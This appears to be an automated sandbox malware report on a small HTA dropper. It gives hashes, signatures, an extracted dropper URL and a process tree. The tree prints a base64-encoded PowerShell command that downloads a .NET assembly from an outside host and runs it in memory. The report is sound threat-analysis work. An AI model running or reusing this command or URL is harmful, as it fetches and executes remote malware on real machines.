Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 01:23

General

  • Target

    9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta

  • Size

    799B

  • MD5

    9b3779b6e809642232e8e7e187a72f0d

  • SHA1

    fd7027dc0258952655350a794854135452632fb3

  • SHA256

    9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88

  • SHA512

    3dbba3efa22911744f8be7fc87d8ac68a32f1a4b001af084c57bafe6b446a597417eb2fcab474dce66bbff0e4c04201acfee47c15c74dc9fae58679318e19da0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://powershell.skype-api.co.uk:80/download/ironpython/

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABiAHkAdABlAHMAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAIgBoAHQAdABwADoALwAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBzAGsAeQBwAGUALQBhAHAAaQAuAGMAbwAuAHUAawA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAGkAcgBvAG4AcAB5AHQAaABvAG4ALwAiACkAOwAkAGEAcwBzAGUAbQBiAGwAeQA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBsAG8AYQBkACgAJABiAHkAdABlAHMAKQA7ACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACIAUAByAG8AZwByAGEAbQAiACkALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAOwA=
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2212

Network

        MITRE ATT&CK Enterprise v15

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        Downloads